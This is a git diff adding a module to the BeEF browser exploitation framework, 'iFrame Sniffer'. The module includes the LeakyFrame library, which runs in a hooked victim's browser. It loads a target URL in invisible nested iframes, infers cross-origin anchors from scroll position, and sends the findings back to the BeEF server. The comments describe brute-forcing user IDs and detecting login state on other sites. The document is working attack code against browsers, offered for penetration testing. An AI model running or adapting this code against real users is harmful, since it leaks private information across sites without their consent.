diff --git a/modules/misc/iframe_sniffer/command.js b/modules/misc/iframe_sniffer/command.js
new file mode 100644
index 000000000..21e6987d5
--- /dev/null
+++ b/modules/misc/iframe_sniffer/command.js
@@ -0,0 +1,80 @@
+//
+// Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+beef.execute(function() {
+ var inputURL = '<%= @inputUrl %>';
+ var anchorsToCheck = '<%= @anchorsToCheck %>';
+ var arrayOfAnchorsToCheck = [];
+
+ //the anchors should be seperated with ','
+ //remove tabs, newlines, carriage returns and spaces
+ anchorsToCheck = anchorsToCheck.replace(/[ \t\r\n]/g,'');
+ arrayOfAnchorsToCheck = anchorsToCheck.split(',');
+
+ var resultList = [];
+ var resultString = '';
+
+ //check if the leakyframe library is loaded
+ //if not add it to the DOM
+ if (typeof LeakyFrame !== 'function'){
+ var leakyscript = document.createElement('script');
+
+ leakyscript.setAttribute('type', 'text/javascript');
+ leakyscript.setAttribute('src', 'http://'+beef.net.host+':'+beef.net.port+'/leakyframe.js');
+ var theparent = document.getElementsByTagName('head')[0];
+ theparent.insertBefore(leakyscript, theparent.firstChild);
+ }
+
+ var timeout = 100;
+
+ //give the DOM some time to load the library
+ poll = function(){
+ setTimeout(function(){
+ timeout--;
+ if (typeof LeakyFrame === 'function') {
+ new LeakyFrame(inputURL,
+ function(frame){
+ //check each anchor
+ for (var anchor = 0; anchor < arrayOfAnchorsToCheck.length; anchor++){
+ if (frame.checkID(arrayOfAnchorsToCheck[anchor])){
+ resultList.push('Exists');
+ }
+ else{
+ resultList.push('Does not exist');
+ }
+ }
+ frame.remove();
+
+ //create the resultstring
+ for (var i = 0; i < resultList.length; i++){
+ resultString = resultString + '#' + arrayOfAnchorsToCheck[i] + ' ' + resultList[i] + '; ';
+ }
+
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result: ' + resultString);
+ },false);
+ }
+ else if (timeout > 0){
+ poll();
+ }
+ else {
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'time-out occured!');
+ }
+ }, 100);
+ };
+
+ poll();
+});
+
diff --git a/modules/misc/iframe_sniffer/config.yaml b/modules/misc/iframe_sniffer/config.yaml
new file mode 100644
index 000000000..0fc20b8fa
--- /dev/null
+++ b/modules/misc/iframe_sniffer/config.yaml
@@ -0,0 +1,25 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+beef:
+ module:
+ iframe_sniffer:
+ enable: true
+ category: "Misc"
+ name: "iFrame Sniffer"
+ description: "This module attempts to do framesniffing (aka Leaky Frame). It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a url.
For more information, refer to http://www.contextis.co.uk/research/blog/framesniffing/"
+ authors: ["Bart Leppens"]
+ target:
+ working: "S"
diff --git a/modules/misc/iframe_sniffer/leakyframe.js b/modules/misc/iframe_sniffer/leakyframe.js
new file mode 100644
index 000000000..e42503a8e
--- /dev/null
+++ b/modules/misc/iframe_sniffer/leakyframe.js
@@ -0,0 +1,381 @@
+/**
+ * LeakyFrame JS Library
+ *
+ * Copyright (c) 2012 Paul Stone
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy of this
+ * software and associated documentation files (the "Software"), to deal in the Software
+ * without restriction, including without limitation the rights to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
+ * permit persons to whom the Software is furnished to do so, subject to the following
+ * conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all copies
+ * or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+ * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+ * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+ * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+ * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ *
+ */
+
+
+/*
+
+This JS library can be used to easily try out the Framesniffing (aka Frame Leak, aka Anchor Element Position Detection) technique.
+Currently (as of Mar 2012) the technique works in IE8, IE9 and most
+webkit-based browsers.
+
+Example usage:
+
+new LeakyFrame('http://example.com', function(frame) {
+ if (frame.checkID('login-form')) {
+ alert("You're not logged in");
+ frame.remove();
+ return;
+ }
+
+ var anchors = {'foo', 'bar', 'baz'};
+ var frags = frame.findFrags(anchors);
+ alert('Found the following anchors on the page: ' + frags.join(', '));
+}
+
+
+Redirects
+---------
+Make sure that the URL you're loading doesn't redirect to a different URL,
+as this can break anchor checking in some browsers and will slow down
+checks for multiple anchors (e.g. brute-forcing).
+
+E.g. You create LeakyFrame with http://foo.com/somepage and it redirects
+to http://foo.com/somepage?98723945
+
+The reason for this is that the JS code can't know the URL that the frame
+has redirected to (due to same-origin policy). When changing the #fragment
+at the end of the URL to check for an anchor, the entire URL must be
+reset using window.location. So if a redirect has occurred, the original
+URL will be loaded in the iframe, causing a full page load and another
+redirect to occur.
+
+Some browsers will preserve URL fragments across page redirects (Chrome
+does, and I think IE10 does now too). For those browsers you can create
+a LeakyFrame and pass in a URL with an fragment already on the end, then
+call frame.nonZero() to see if a scroll has occurred. The findManyMatchingURLs
+and findFirstMatchingURL methods should also work with redirects.
+
+*/
+
+/**
+ * Creates a new LeakyFrame object
+ *
+ * This constructor creates a nested iframes and loads 'url' into the inner one
+ * The outer frame is 10x10, and the inner frame 1000x10,000px to force the outer
+ * frame to scroll when checking for anchors.
+ *
+ * @param url - URL to load into the iframe.
+ * @param callback - A function that will be called when the frame has loaded. The
+ * the callback function will be passed the newly created LeakyFrame object
+ * @param debug - If true, the created frames will be made visible and outer
+ * frame will be made larger (140x140)
+ */
+function LeakyFrame(url, callback, debug) {
+ var outer = document.createElement('iframe');
+ outer.setAttribute('frameBorder', '0');
+ outer.setAttribute('scrolling', 'no')
+ document.body.appendChild(outer);
+
+ outer.contentWindow.document.open();
+ outer.contentWindow.document.close();
+
+ var inner = outer.contentWindow.document.createElement('iframe');
+ inner.setAttribute('frameBorder', '0');
+
+ outer.contentWindow.document.body.style.margin = 0;
+ outer.contentWindow.document.body.style.padding = 0;
+ inner.setAttribute('style', 'margin:0; border:none;overflow:hidden;position:absolute; left:0px;top:0px;width:1000px;height:10000px;background-color:white;');
+
+ if (!debug)
+ outer.setAttribute('style', 'border:none;opacity:0');
+
+ outer.contentWindow.document.body.appendChild(inner);
+
+ outer.width = 10;
+ outer.height = 10;
+ if (debug) {
+ outer.width=140;
+ outer.height=140;
+ }
+ this.outer = outer; // outer iframe element
+ this.inner = inner; // inner iframe element
+ this.innerWin = inner.contentWindow; // window object of outer iframe
+ this.outerWin = outer.contentWindow; // window object of inner iframe
+ this.outerDoc = outer.contentWindow.document; // document of outer iframe
+ this.removed = false;
+ if (callback)
+ this.load(url, callback);
+}
+
+/**
+ * Load a new URL into the inner iframe and do a callback when it's loaded
+ */
+LeakyFrame.prototype.load = function(url, callback) {
+ this.inner.contentWindow.location = url;
+ var me = this;
+ var f = {};
+ f.fn = function() {
+ if (me.inner.removeEventListener)
+ me.inner.removeEventListener('load', f.fn);
+ else if (me.inner.detachEvent)
+ me.inner.detachEvent('onload', f.fn);
+
+ me.currentURL = me._stripFragment(url);
+ if (callback)
+ callback(me);
+ }
+ if (this.inner.addEventListener)
+ this.inner.addEventListener('load', f.fn, false);
+ else if (this.inner.attachEvent)
+ this.inner.attachEvent('onload', f.fn);
+}
+
+
+/**
+ * Find the current scroll position of the outer iframe
+ * (should correspond to the position of the current anchor
+ * in the inner iframe)
+ * @return object with .x and .y properties
+ */
+LeakyFrame.prototype.getPos = function() {
+ var x = this.outerDoc.body.scrollLeft;
+ var y = this.outerDoc.body.scrollTop;
+ return {x:x, y:y};
+}
+
+
+/**
+ * Reset the scroll position of the iframe
+ */
+LeakyFrame.prototype.resetPos = function() {
+ this.outerWin.scrollTo(0,0);
+}
+
+/**
+ * Checks if the iframe has scrolled after being reset
+ */
+LeakyFrame.prototype.nonZero = function() {
+ var pos = this.getPos();
+ return (pos.x > 0 || pos.y > 0);
+};
+
+/**
+ * Check if anchor 'id' exists on the currently loaded page
+ * This works by first resetting the scroll position, adding
+ * #id onto the end of the current URL and then seeing if
+ * the scroll position has changed.
+ *
+ * Optional parameters x and y specify the initial scroll
+ * position and default to 0. Useful in some cases where
+ * weird scrolling behaviour causes the page to scroll to
+ * (0,0) if an anchor is found.
+ *
+ * @return boolean - true if the anchor exists
+ */
+LeakyFrame.prototype.checkID = function(id, x, y) {
+ if (!x) x = 0;
+ if (!y) y = 0;
+ this.outerWin.scrollTo(x,y);
+ this.innerWin.location = this.currentURL + '#' + id;
+ var result = this.getPos();
+ return (result.x != x || result.y != y);
+}
+
+/**
+ * Given an array of ids, will check the current page to see which
+ * corresponding anchors exist. It will return a dictionary of
+ * positions for each matched anchor.
+ *
+ * This can be incredibly quick in some browsers (checking 10s or
+ * 100s of IDs per second), so could be used for things like
+ * brute-forcing things like numeric user IDs or lists of product
+ * codes.
+ *
+ * @param ids - an array of IDs to be checked
+ * @param templ - optional template which is used to make the URL
+ * fragment. If the template is 'prod{id}foo' and you pass in the
+ * array [5,6,7], then it will check for anchors:
+ * prod5foo, prod6foo and prod7foo
+ * @return a dictionary containing matched IDs as keys and an
+ * array [x,y] as values
+ */
+LeakyFrame.prototype.findFragPositions = function(ids, templ) {
+ this.outerWin.scrollTo(0,0);
+ if (templ) {
+ var newids = [];
+ for (var i = 0; i < ids.length; i++)
+ newids.push(templ.replace('{id}', ids[i]));
+ } else {
+ newids = ids;
+ }
+ var positions = {};
+ for (var i = 0; i < ids.length; i++) {
+ var id = newids[i];
+ //this.outerWin.scrollTo(0,0);
+ this.innerWin.location = this.currentURL + '#' + id;
+ var x = this.outerDoc.body.scrollLeft;
+ var y = this.outerDoc.body.scrollTop;
+
+ if (x || y) {
+ positions[ids[i]] = [x, y];
+ this.outerWin.scrollTo(0,0);
+ }
+ }
+ return positions;
+}
+
+/**
+ * Same as findFragPositions but discards the positions
+ * and returns only an array of matched IDs.
+ */
+LeakyFrame.prototype.findFrags = function(ids, templ) {
+ var found = this.findFragPositions(ids, templ);
+ var ids = [];
+ for (var id in found)
+ ids.push(id);
+ return ids;
+}
+
+LeakyFrame.prototype._stripFragment = function(url) {
+ var pos = url.indexOf('#');
+ if (pos < 0) return url;
+ this.loadFrag = url.substr(pos+1);
+ return url.substr(0, pos)
+}
+
+/**
+ * Removes the iframe from the document.
+ * If you're creating lots of LeakyFrame instances
+ * you should call this once you're done with each
+ * frame to free up memory.
+ */
+LeakyFrame.prototype.remove = function() {
+ if (this.removed) return;
+ this.outer.parentNode.removeChild(this.outer);
+ this.removed = true;
+}
+
+
+/**
+ * Load a bunch of URLs to find which ones have a matching fragment
+ * (i.e. cause the page to scroll). (static method)
+ *
+ * @param url - a base URL to check with {id} where id will go
+ * (e.g http://www.foo.com/userprofile/{id}#me)
+ * @param ids - dictionary of key:value pairs. the keys will be
+ * used to replace {id} in each url
+ * @param callback - a function that gets called when an id is found.
+ * It gets passed the matching key and value
+ * @param finishedcb - a function that gets called when all the urls
+ * have been checked. It gets passed true if any URLs were matched
+ */
+LeakyFrame.findManyMatchingURLs = function(url, ids, callback, finishedcb, stopOnFirst) {
+ var maxConcurrent = 3;
+ var inProgress = 0;
+ var todo = [];
+ var interval;
+ var loadCount = 0;
+ var allFound = {};
+ var allPositions = {};
+ var framePool = {};
+ var found = 0;
+ var cancelled = false;
+ for (var key in ids) {
+ todo.push(key);
+ loadCount++;
+ }
+
+ var cancel = function() {
+ cancelled = true;
+ for (var i in framePool)
+ framePool[i].remove();
+ if (interval)
+ window.clearInterval(interval);
+ }
+
+ var cb = function(f, foundFrag) {
+ inProgress--;
+ loadCount--;
+
+ if (f.nonZero()) {
+ found++;
+ var foundVal = ids[foundFrag];
+ var foundPos = f.getPos();
+ allFound[foundFrag] = foundVal;
+ allPositions[foundFrag] = foundPos;
+
+ if (!cancelled)
+ callback(foundFrag, foundVal, foundPos, allFound, allPositions);
+ if (stopOnFirst)
+ cancel();
+ }
+ if ((loadCount == 0 && !stopOnFirst) || // 'finished' call for findMany
+ (loadCount == 0 && stopOnFirst && found == 0)) // 'fail' callback for stopOnFirst (only if none were found)
+ finishedcb(found > 0, allFound, allPositions);
+ f.remove();
+ delete framePool[foundFrag];
+ }
+
+ var loadMore = function() {
+ if (todo.length == 0) {
+ // no more ids to do
+ window.clearInterval(interval);
+ interval = null;
+ }
+ if (inProgress >= maxConcurrent) {
+ // queue full, waiting
+ return;
+ }
+ var loops = Math.min(maxConcurrent - inProgress, todo.length);
+ for (var i=0; i < loops; i++) {
+ inProgress++;
+ var nextID = todo.shift();
+ var thisurl = url.replace('{id}', nextID);
+
+ framePool[nextID] = new LeakyFrame(thisurl, function(n){
+ return function(f){ setTimeout(function() {cb(f,n)}, 50) } // timeout delay required for reliable results on chrome
+ }(nextID)
+ );
+ }
+ }
+ interval = window.setInterval(loadMore, 500);
+}
+
+
+/**
+ * Same as findManyMatchingURLs but stops after the first match is found
+ *
+ * @param url - a base URL to check with {id} where id will go
+ * (e.g http://www.foo.com/userprofile/{id}#me)
+ * @param ids - dictionary of key:value pairs. the keys will be used to
+ * replace {id} in each url
+ * @param successcb - a function that gets called when an id is found.
+ * It gets passed the matching key and value
+ * @param failcb - a function that gets called if no ids are found
+ * @param finalcb - a function that gets called after either sucess or failure
+ */
+LeakyFrame.findFirstMatchingURL = function(url, ids, successcb, failcb, finalcb) {
+ var s = function(k, v) {
+ successcb(k, v);
+ if (finalcb)
+ finalcb();
+ }
+ var f = function() {
+ if (failcb)
+ failcb();
+ if (finalcb)
+ finalcb();
+ }
+ return LeakyFrame.findManyMatchingURLs(url, ids, s, f, true);
+}
diff --git a/modules/misc/iframe_sniffer/module.rb b/modules/misc/iframe_sniffer/module.rb
new file mode 100644
index 000000000..7af2804af
--- /dev/null
+++ b/modules/misc/iframe_sniffer/module.rb
@@ -0,0 +1,36 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+class Iframe_sniffer < BeEF::Core::Command
+
+ def pre_send
+ BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/iframe_sniffer/leakyframe.js','/leakyframe','js')
+ end
+
+ def self.options
+ return [
+ {'name' => 'inputUrl', 'ui_label'=>'input URL', 'type' => 'textarea', 'value' =>'http://en.wikipedia.org/wiki/Beef', 'width' => '400px', 'height' => '50px'},
+ {'name' => 'anchorsToCheck', 'ui_label' => 'anchors to check', 'value' => 'History,Exploit,Etymology,References,ABCDE', 'type' => 'textarea', 'width' => '400px', 'height' => '100px' }
+ ]
+ end
+
+ def post_execute
+ content = {}
+ content['resultList'] = @datastore['resultList']
+ BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('leakyframe.js')
+ save content
+ end
+
+end